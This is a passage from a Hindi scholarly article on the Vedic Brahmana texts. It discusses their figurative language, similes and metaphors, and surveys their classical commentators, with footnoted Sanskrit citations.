इस सन्दर्भ में 'जामि' और 'यातयामता' सदृश शब्दों का प्रयोग किया गया है। इनका अभिप्राय है कि एक ही गान की पौन:पुन्येन उसी तारतम्य में, उसी स्वर-मण्डल में आवृति से अप्रिय और अरुचिकर वातावरण हो जाता है। इसके परिहार के लिए ब्राह्मणग्रन्थकारों ने निरन्तर सजगता रखी है। ब्राह्मण-ग्रन्थों में रस-निष्पत्ति और भाव-व्यंजन के स्थल भले ही पुष्कल न हों, किन्तु मानवीय मनोभावों की ब्राह्मणग्नन्थकारों को गहरी पहचान है। अर्थवादों का सेवैविध्यपूर्ण वितान वस्तुत: मानवीय मनोविज्ञान की आधार-शिला पर ही प्रतिष्ठित है। मनुष्य के अन्तर्तम में निहित वासनाओं, कामनाओं और आकांक्षाओं को समझे बिना प्रशस्ति या निन्दा के माध्यम से याग की प्रेरणा ही नहीं उत्पन्न की जा सकती। अतएव चेतना के निगूढ़ स्तरों में सुप्त अथवा अर्धसक्रिय संस्कारों से अनुस्यूत विभिन्न कामनाओं-प्रियपत्नी, वंशवदपुत्र, सामाजिक प्रतिष्ठा और ऐश्वर्य, अप्रिय व्यक्तियों और शत्रुओं के विनाश, मरणोत्तर सुखद जीवन और अन्त में वासनओं के उपशम को ध्यान में रखकर ही अर्थवाद का समानान्तर संसार ब्राह्मणग्रन्थकारों ने रचा है। साहित्य में स्थायीभावों की योजना जिन मूल मनोवैज्ञानिक प्रवृत्तियों-राग, क्रोध, भय, विस्मय, घृणा और विराग के आधार पर की गई है, उनकी ब्राह्मणग्रन्थों को गहरी प्रतीति है। काव्यात्मक रमणीयता का दूसरा पक्ष अभिव्यक्तिमूलक है, जिसके सन्दर्भ में ब्राह्मणग्रन्थों में लाक्षणिकता, उपमा और रूपक-विधान, पदावृत्ति तथा अक्षरावृत्तिराज्य लालित्य एंव संश्लिष्ट प्रस्तुति मुख्यत: दिखलाई देती है। इनके आलोक में ब्राह्मणों के प्रतिपाद्य को प्रभावोत्पादक सम्प्रेषणीयता प्राप्त हुई है।


ब्राह्मणग्रन्थों में विद्यमान लाक्षणिक प्रवृत्ति की ओर सर्वप्रथम हमारा ध्यानाकर्षण निरुक्तकार यास्क ने किया। उनका कथन है- बहुभक्तिवादीनि हि ब्राह्मणानि।<balloon title="निरुक्त 7.24" style=color:blue>*</balloon> अभिप्राय यह है कि ब्राह्मणग्रन्थों में, देवताओं के विषय में, भक्ति अथवा गुण-कल्पना के माध्यम से बहुविध तात्त्विक अन्वेषण हुआ है। अर्थवादों के तीन भेद हैं- गुणवाद, अनुवाद और भूतार्थवाद। इनमें से गुणवाद लक्षणा के अत्यन्त निकट है। परवर्ती मीमांसकों और काव्यशास्त्र के आचार्यों ने दोनों को एक ही मानकर विवेचन किया है। गुणवाद के सन्दर्भ में ब्राह्मणग्रन्थों में प्राप्त उदाहरण इस प्रकार हैं- 'स्तेनं मन:', 'आदित्यो यूप:', 'श्रृणोत ग्रावाण:' इत्यादि। इनकी सीधे-सीधे अभिधाशक्ति से व्याख्या नहीं की जा सकती। 'पत्थर सुनें!' यह कथन आपातत: उन्मत्त प्रलाप के सदृश प्रतीत होता है। इसी कारण इस प्रकार के वाक्यों में मीमांसकों ने लक्षणा का आश्रय लिया है, जिसका अभिप्राय प्रातरनुवाक की मार्मिकता का द्योतन है जिसे प्रस्तर भी तन्मयता से सुनते हैं, फिर विद्वानों और सह्रदयों की बात ही क्या। नदी की स्तुति के सन्दर्भ में प्राप्त विशेषणों 'चक्रवाकस्तनी', 'हंस-दन्तावली', 'काशवस्त्रा', और 'शेवालकेशिनी' की व्याख्या शाबरभाष्य में भी लाक्षणिक दृष्टि से की गई है। उनका कथन है-
असतोऽर्थस्य अभिधायके वाक्ये गौणस्य अर्थस्य उक्तिर्द्रष्टव्या।<balloon title="द्र॰, सायण, ॠग्वेद भाष्यभूमिका, पृष्ठ, 21" style=color:blue>*</balloon>
साहित्यशास्त्र के ग्रन्थों में, लक्षणा-निरूपण के प्रसंग में, आचार्यों ने इसलिए 'सिंहो माणवक:', 'गार्वाहीक:' प्रभृति लौकिक उदाहरणों के साथ ही 'यजमान: प्रस्तर:', 'आदित्यो यूप:' प्रभृति ब्राह्मणग्रन्थोक्त उदाहरण उन्मूक्तता से दिये हैं। उपमा और रूपकों के विधान से भी ब्राह्मणग्रन्थों की सम्प्रेषणीयता अत्यन्त प्राणमयी हो उठी है। षड्विंश ब्राह्मण से उपमा के कुछ उदाहरण यहाँ प्रस्तुत हैं-

  • विधि-विधान से परिचय प्राप्त किये बिना होम करना वैसे ही है जैसे अंगारों को हटाकर राख में आहुति डालना-

स य इदमविद्वान् अग्निहोत्रं जुहोति यथाङ्गारानपोह्य भस्मनि जुहुयात् तादृक् तत् स्यात्।<balloon title="षड्विंशब्राह्मण 5.24.1" style=color:blue>*</balloon>

  • जैसे क्षुधित बालक माता के पास जाते हैं, वैसे ही कष्ट में पड़े प्राणी भी अग्निहोत्र करते हैं।<balloon title="षड्विंशब्राह्मण 5.24.5" style=color:blue>*</balloon>

ताण्ड्य ब्राह्मण के अनुसार यज्ञ में अध्वर्यु-प्रमुख ॠत्विक् वैसे ही वहिष्पवमान में प्रसर्पण करते हैं, जैसे अहेरी मृग को पकड़ने के लिए आगे बढ़ता है-मन्द-मन्द गीत से बिना आहट किये।<balloon title="ताण्ड्य ब्राह्मण, 6.7.10" style=color:blue>*</balloon> ब्राह्मणग्रन्थों में रूपक-विधान की उपादेयता पर प्रकाश डाला है मीमांसकों ने। 'अभिधानेऽर्थवाद:'<balloon title="जैमनीय मीमांसासूत्र, 1.2.46" style=color:blue>*</balloon> की व्याख्या के प्रसंग में कुमारिल भट्ट का कथन है कि रूपक के द्वारा यज्ञ की स्तुति अनुष्ठान-काल में ॠत्विजों और यजमानों तथा अन्य समवेत व्यक्तियों में भी उत्साहभाव का संचार करती है-
रूपकद्वारेण याग-स्तुति: कर्मकाले उत्साहं करोति।
ब्राह्मण ग्रन्थों में रूपकों की विशाल राशि विद्यमान है। सर्वाधिक रूपक नर-नारी-सम्बन्ध पर आधृत हैं। लौकिक जीवन में मिथुनभाव के प्रति मानव-मन में सहज और स्वाभाविक आकर्षण देखा जाता है। अदृष्ट और अपूर्व की अवधारणाओं को कुछ क्षणों के लिए परे रखकर यदि विचार किया जाय, तो कहा ज सकता है कि मानवीय अभिरुचि को ध्यान में रखकर ही ब्राह्मणग्रन्थकारों ने युग्मजीवन के रूपकों को याग-क्रिया के सन्दर्भ में प्रस्तुत किया है। ताण्ड्य ब्राह्मण<balloon title="ताण्ड्य ब्राह्मण, 25.18.4" style=color:blue>*</balloon> में बहुत ही लम्बा रूपक मिलता है। तपस्या, सत्य, ओज, यश, प्राणशक्ति, आशा, बल, वाक् आदि की इस विश्व-सृष्टि में क्या भूमिका है, इसे विश्वस्त्रष्टा देवों के द्वारा अनुष्ठीयमान यागात्मक रूपक के माध्यम से यों व्यक्त किया गया है। तदनुसार विश्वसृष्टि एक महायज्ञ है, जिसमें तपस्या गृहपति, ब्रह्म (वैदिक ज्ञानराशि) ब्रह्मा, हरा गृहपत्नी, अमृत उद्गाता, भूतकाल प्रस्तोता, भविष्यत्काल प्रतिहर्ता, ॠतुएँ उपगाता, आर्त्तव वस्तुएँ सदस्य, सत्य होता, ॠत मैत्रावरुण, ओज ब्राह्मणच्छंसी, त्विषि और अपचिति क्रमश: नेष्टा और पोता, यश अच्छावाक, अग्नि अग्नीत्, भग ग्रावस्तुत, अक्र उन्नेता, वाक् सुब्रह्यण्य, प्राण अध्वर्यु, अपान प्रतिप्रस्थाता, दिष्टि विशास्ता, बल ध्रुवगोप, आशा हविष्य, अहोरात्र इध्मवाह और मृत्यु शमितास्वरूप हैं। आशारूप हविष्य पर चलने वाले जीवन-यज्ञ की कितनी प्रभावपूर्ण अभिव्यक्ति है। इस प्रकार के रूपकों की रमणीय सृष्टि ब्राह्मणग्रन्थकारों की साहित्यिक प्रतिभा के प्रति हमें आश्वस्त करने के लिए पर्याप्त है। ब्राह्मण-साहित्य का गम्भीर अनुशीलन इसलिए भी आवश्यक प्रतीत होता है, क्योंकि वह वैदिक और लौकिक साहित्य के मध्य सेतु-स्वरूप है।

बाह्मणग्रन्थों के भविष्यकार

सायणाचार्य मन्त्र-संहिताओं के समान ब्राह्मणग्रन्थों के भी प्रामाणिक भाष्यकार हैं। जैमिनीय शाखा के सामवेदीय ब्राह्मणों और गौपथ ब्राह्मण को छोड़कर सभी उपलब्ध ब्राह्मणों पर उनके भाष्य प्राप्त हैं। सम्प्रति ब्राह्मणग्रन्थों को समझने में उनके भाष्यों से हमें सर्वाधिक सहायता मिलती है। कारण यह है कि वैदिक तत्वों के तो मर्मज्ञ वे थे ही, यज्ञविद्या के भी सैद्धान्तिक और प्रायोगिक पक्षों का गहन ज्ञान उन्हें था। इसीलिए ब्राह्मणों की व्याख्या करते समय वे मात्र शब्दार्थ दे देने तक अपने को सीमित नहीं रखते, अपितु कर्मकाण्डीय पद्धति के आवश्यक अंश भी देते चलते हैं। तुलनात्मक दृष्टि से अन्य ब्राह्मणों के अंश भी उद्धृत कर देते हैं, साथ ही यथास्थान सूत्र ग्रन्थों के सन्दर्भ भी संगृहीत कर पाठक की भलीभाँति सहायता करते हैं। ब्राह्मणग्रन्थों पर उपलब्ध अन्य भाष्यों का विवरण इस प्रकार है-

  • ॠग्वेद के ऐतरेय ब्राह्मण पर सायण से पूर्ववर्ती दो भाष्यकारों के भाष्य मिलते हैं। इनमें से एक गोविन्दस्वामी (13वीं शती से पूर्व) का है और दूसरा षड्गुरुशिष्य (12वीं शती के मध्य में) का है। षड्गुरुशिष्य का भाष्य संक्षिप्त है और अनन्तशयन ग्रन्थमाला (केरल) से प्रकाशित हो चुका है। शतपथ ब्राह्मण पर सायण से पूर्ववर्ती (षष्ठ शती विक्रमी में विद्यमान) हरिस्वामी का अपूर्ण भाष्य प्राप्त होता है। यह पराशर गोत्रीय थे। इनके पिता का नाम था नागस्वामी। अवन्ती के विक्रम राजा के ये धर्माध्यक्ष थे। हरिस्वामी का शतपथ-भाष्य प्राचीन होने के साथ ही प्रामाणिक भी है। इस भाष्य का निर्माणकाल 3740 कलिवर्ष (538 ई॰) माना जाता है।
  • तैत्तिरीय ब्राह्मण पर भट्टभास्कर और सायणाचार्य[१७] के भाष्य उपलब्ध हैं।
  • सामवेद के सभी कौथुमशाखीय ब्राह्मणों पर सायणाचार्य के भाष्य उपलब्ध हैं। ताण्ड्य ब्राह्मण पर हरिस्वामी के पुत्र जयस्वामी की टीका का उल्लेख मिलता है, लेकिन वह उपलब्ध नहीं है। भट्टभास्कर मिश्र और भरतस्वामी के सामब्राह्मणों के भाष्यों का पहले उल्लेख किया जा चुका है। मन्त्र ब्राह्मण पर गुणविष्णु ने भाष्य लिखा है।
  • संहितोपनिषद् ब्राह्मण पर द्विजराज भट्ट का भाष्य प्रकाशित हो चुका है। स्वयं भाष्यकार के द्वारा प्रदत्त विवरण से ज्ञात होता है कि उनके पिता विष्णु भट्ट महान् वैदिक विद्वान् थे। द्विजराज भट्ट का जन्म श्रीवंश में हुआ। बर्नेल के अनुसार वे दक्षिण भारतीय थे।
  • अथर्ववेदीय गोपथ ब्राह्मण पर कोई भी भाष्य नहीं मिलता।

टीका-टिप्पणी

  1. जैमनीय मीमांसा सूत्र, 2.1.33
  2. मन्त्रश्च ब्राह्मणश्चेति द्वौ भागौ तेन मन्त्रत:। अन्यद् ब्राह्मणमित्येतद् भवेद् ब्राह्मणलक्षणम्। जैमिनि न्यायमाला, 2.1, 'अवशिष्टो वेदभागो ब्राह्मणम्' ॠग्वेद भाष्य भूमिका पृष्ठ 37
  3. ब्राह्मणं ब्रह्मसंघाते वेदभागे नपुंसकम् मेदिनीकोश।
  4. य इमे ब्राह्मणा: प्रोक्ता मन्त्रा वै प्रोक्षणे गवाम्। एते प्रमाणं उताहो नेति वासव्। महाभारत, उद्योग पर्व महाभारत, भाण्डारकर-संस्करण।
  5. एतद् ब्राह्मणान्येव पञ्च हर्वीषि, तैत्तिरीय संहिता, 3.7.1.1
  6. ऐतरेयालोचन, पृष्ठ 2
  7. ब्राह्मणं नाम कर्मणस्तन्मन्त्राणां च व्याख्यानग्रन्थ:। भत्तभास्कर, तैत्तिरीय संहिता 1.5.1 पर भाष्य
  8. नैरुक्त्यं यस्य मन्त्रस्य विनियोग: प्रयोजनम्। प्रतिष्ठानं विधिश्चैव ब्राह्मणं तदिहोच्यते। 'वाचस्पति मिश्र'
  9. स्वामी दयानन्द सरस्वती, अनुभ्रमोच्छेदन, सत्यार्थप्रकाश, पृष्ठ 288 (बहालगढ़ संस्करण, सं 2029), 'तत्तन्मन्त्राणां तत्तद्यागाद्युपयोगित्वं वर्णयितुं समासतस्तात्पय्र्यमन्वाख्यातुं वा व्याख्यानानि च कृतानि। ततश्च विध्यर्थवादाख्यानपूर्वकमादिमं मन्त्र-भाष्यं ब्राह्मणामित्येव पर्यवस्यते ब्राह्मणलक्षणम्। 'ऐतरेयालोचन', पृष्ठ 11
  10. इस सन्दर्भ में कुछ कथन ये हैं-
    (क) मन्त्रब्राह्मणयोर्वेद इति नामधेयं षडंगमेके। 'तन्त्रवार्तिक' 1.3.10
    (ख) वेदों मन्त्रब्राह्मणाख्यो मन्त्रराशि:।
    (ग) तत्र ब्राह्नणात्मको वेद:। 'तैत्तिरीय संहिता, सायण-भाष्योपक्रमणिका।
  11. ब्राह्मण ग्रन्थों की श्रुतिरूपता पर आचार्य पंण्डित बलदेव उपाध्याय ने वैदिक साहित्य और संस्कृति में विस्तार से विचार किया है। इसमें उन्होंने मनुस्मृति, दार्शनिक सूत्रकारों, पाणिनीय अष्टाध्यायी, व्याकरण महाभाष्य और अन्य आचार्यों के मतों की विशद मीमांसा करते हुए ब्राह्मणों की वेदरूपता का युक्तियुक्त उपपादन किया है।
  12. पञ्चर्त्विज: संरब्धा सर्पन्ति पाङ्क्तो यज्ञो यावान् यज्ञस्तमेव सन्तन्वन्ति। तैत्तिरीय ब्राह्मण, 6.7.12
  13. ताण्डय ब्राह्मण, 6.5.1- में वर्णित यह आख्यायिका किंचित् परिवर्तित रूप में जैमिनीय ब्राह्मण तथा शतपथ ब्राह्मण में भी मिलती है। जैमिनीय ब्राह्मण में आदित्य के स्थान पर अग्नि का उल्लेख है और शतपथ ब्राह्मण में देवों के द्वारा वृत का शिर काटने का निर्देश है: वृत्रो वै सोम आसीत्। तं यत्र देवा अपघ्नन् तस्य मूद्धोद्ववर्त, स द्रोणकलशोऽभवत्, शतपथ ब्राह्मण 4.4.3.4
  14. एष वाव यज्ञो यदग्निष्टोम:। एकस्मा अन्यो यज्ञ: कामायाह्रियते सर्वेभ्योऽग्निष्टोम:। ताण्डय ब्राह्मण, 6.3.1-2
  15. एतद्वै यज्ञस्य समृद्धं यद्रूपसमृद्धं यत्कर्मक्रियामाणमृग्यजुर्वाऽभिवदति। -गोपथब्राह्मण 2.4.2
  16. यो हि यागमनुतिष्ठति तं धार्मिक इति समाचक्षते। यश्च यस्य कर्ता, स तेन व्यपदिश्यते, यथा पाचको लावक इति। तेन य: पुरुषो नि:श्रेयसेन संयुनक्ति, से धर्मशब्देन उच्यते। न केवलं लोके, वेदेऽपि 'यज्ञेन यज्ञमयजन्त देवास्तानि धर्माणि प्रथमान्यासन् (ऋग्वेद 10.90.16) इति यजतिशब्दवाच्यमेव धर्मं समामनन्ति- जैमनीय मीमांसासूत्र 1.1.1. पर शाबरभाष्य।
  17. सायणाचार्य के विषय में विशेष जानकारी के लिए देखिए आचार्य बलदेव उपाध्याय की कृति आचार्य सायण और माधव हिन्दी साहित्य सम्मेलन, प्रयाग, 1943।